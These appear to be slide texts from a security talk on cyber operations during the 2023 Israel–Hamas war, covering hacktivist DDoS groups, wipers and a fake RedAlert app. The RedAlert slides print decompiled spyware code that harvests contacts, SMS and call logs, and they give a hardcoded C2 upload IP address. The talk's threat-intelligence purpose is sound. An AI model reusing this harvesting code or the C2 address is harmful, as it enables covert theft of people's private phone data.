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Disclaimer
The views and research presented here are solely my 
own and have been conducted in my personal capacity. 
They do not reflect the opinions or positions of my 
employer.

Note; References and images related to war, Nazis, 18+
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About Me
Application Security Lead 

[ex] OWASP Chapter Leader

Mobile application security research

Former ICS / SCADA engineer

Occasionally watch cars go 'round in circles' for extended periods of time
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Agenda
• traditional war
• background of cyber war
• threat actors
• more malware
• DDoS
• what can orgs do
• future of cyber war?
• Q&A
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...but first...
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War

6



Background & 
History
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"there is a war out there, old friend - a 
world war... and it's not about whose 
got the most bullets; it's about who 
controls the information"
— Sneakers (1992)
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"There is no cyberwar"
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October
2023
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RedAlert
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anonghost
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RedAlert - API
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RedAlert
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App Permissions
real app

android.permission.VIBRATE
android.permission.INTERNET
android.permission.WAKE_LOCK
android.permission.ACCESS_NETWORK_STATE
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.POST_NOTIFICATIONS
android.permission.SYSTEM_ALERT_WINDOW
android.permission.FOREGROUND_SERVICE

fake app

android.permission.VIBRATE
android.permission.INTERNET
android.permission.WAKE_LOCK
android.permission.ACCESS_NETWORK_STATE
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.ACCESS_COARSE_LOCATION
android.permission.ACCESS_FINE_LOCATION
android.permission.BLUETOOTH
android.permission.BLUETOOTH_ADMIN
android.permission.READ_SMS
android.permission.READ_CONTACTS
android.permission.GET_ACCOUNTS
android.permission.READ_CALL_LOG
android.permission.READ_PHONE_STATE
android.permission.ACCESS_COARSE_LOCATION
android.permission.ACCESS_FINE_LOCATION
android.permission.READ_PHONE_NUMBERS
android.permission.READ_PRIVILEGED_PHONE_STATE
android.permission.QUERY_ALL_PACKAGES
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Harvesting Data
  private TheData getData() {
    TheData theData = new TheData(this.c.getApplicationContext());
    try {
      theData.addData("Contacts", getAllContacts());
    } catch (Exception exception) {
      theData.addData("ContactsException", exception.getMessage());
    } 
    try {
      theData.addData("SMS", getAllSMSes());
    } catch (Exception exception) {
      theData.addData("SMSException", exception.getMessage());
    } 
    try {
      theData.addData("CallLog", getAllCallLogs());
    } catch (Exception exception) {
      theData.addData("CallLogException", exception.getMessage());
    } 
    return theData;
  }
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Harvesting SMS
  private String getAllSMSes() throws JSONException {
    Cursor cursor = getContext().getContentResolver().query(Uri.parse("content://sms/"), null, null, null, null);
    Vector<String> vector = new Vector();
    if (cursor != null && cursor.moveToFirst())
      while (true) {
        JSONObject jSONObject = new JSONObject();
        if (cursor.getColumnIndex("body") != -1)
          jSONObject.put("body", cursor.getString(cursor.getColumnIndex("body"))); 
        if (cursor.getColumnIndex("subject") != -1)
          jSONObject.put("title", cursor.getString(cursor.getColumnIndex("subject"))); 
        if (cursor.getColumnIndex("address") != -1)
          jSONObject.put("sender", cursor.getString(cursor.getColumnIndex("address"))); 
        if (cursor.getColumnIndex("date") != -1)
          jSONObject.put("date", new Date(Long.parseLong(cursor.getString(cursor.getColumnIndex("date"))))); 
        if (cursor.getColumnIndex("date_sent") != -1)
          jSONObject.put("date_sent", new Date(Long.parseLong(cursor.getString(cursor.getColumnIndex("date_sent"))))); 
        if (cursor.getColumnIndex("read") != -1) {
          boolean bool;
          if (cursor.getInt(cursor.getColumnIndex("read")) != 0) {
            bool = true;
          } else {
            bool = false;
          } 
          jSONObject.put("read", bool);
        } 
    return "No SMSes found.";
  }
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Upload
  public static String getOnionAddress() {
    return "http://23.254.228.135:80/";
  }
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Anti Debugging/Emulation/Test
Rudimentary checks for whether the application is under runtime analysis. 
It does not, however, protect the malicious code against static analysis.

The app also features anti-debugging, anti-emulation, and anti-test 
mechanisms that protect it from researchers and code-reviewing tools.
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AHMYTHRAT
AHMYTHRAT masquerading as Red Alert app. Using AhMyth Android 

backdoor. 
Captures microphone recordings, downloads/uploads files, device 

location and connects to C2.
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DDoS
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Killnet
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Anonymous Sudan
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Layer 7 DDoS Attacks
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Layer 7 DDoS Attacks
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Useful idiots
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Sophisticated 
Threats
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BiBi-Linux Wiper
"Their goal is unambiguous: to undermine Israel’s economic 
stability by targeting its corporate infrastructure."
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BiBi-Windows Wiper
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Printer go brrrr
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Storm-1133
“Storm-1133”. Utilizing sophisticated social engineering techniques, this 
pro-Hamas group targeted Israeli energy, defense, and 
telecommunications private sector organizations to infect them with 
intelligence-gathering malware.
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Pro Israel Groups
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Gonjeshke Darande
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Gaza Internet
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Niv, Shalev and Omri
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MISSING SLIDE
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"Cyber operations are a key feature 
of conflict, affecting those closest to 
the epicenter of warfare as well as 
those far away. Each conflict is 
unique, cyber operations can impact 
a region, even when they are not 
employed by the belligerents in direct 
support of the kinetic conflict."
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Future

41



Synchronized Cyber and On-the-Ground 
Operations
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Future
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Future
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Future
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Future
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Future
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Future
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What have we learned
• War is no longer just nation vs nation
• Still skiddies running DDoS at scale
• Hactivists evolving
• More advanced attacks
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What can we do
• Tabletops
• DR tests
• Threat Intel
• Listen to CERT (Cyber Event Readiness Team) / NCSC
• AV
• DDoS tests 
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Supply chain
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Supply chain
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Thank you
Chris Pritchard
Blackberry
Cloudflare
Security Joes
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ANY QUESTIONS?
CONTACT ME

 ANDY AT DROIDANDY.COM
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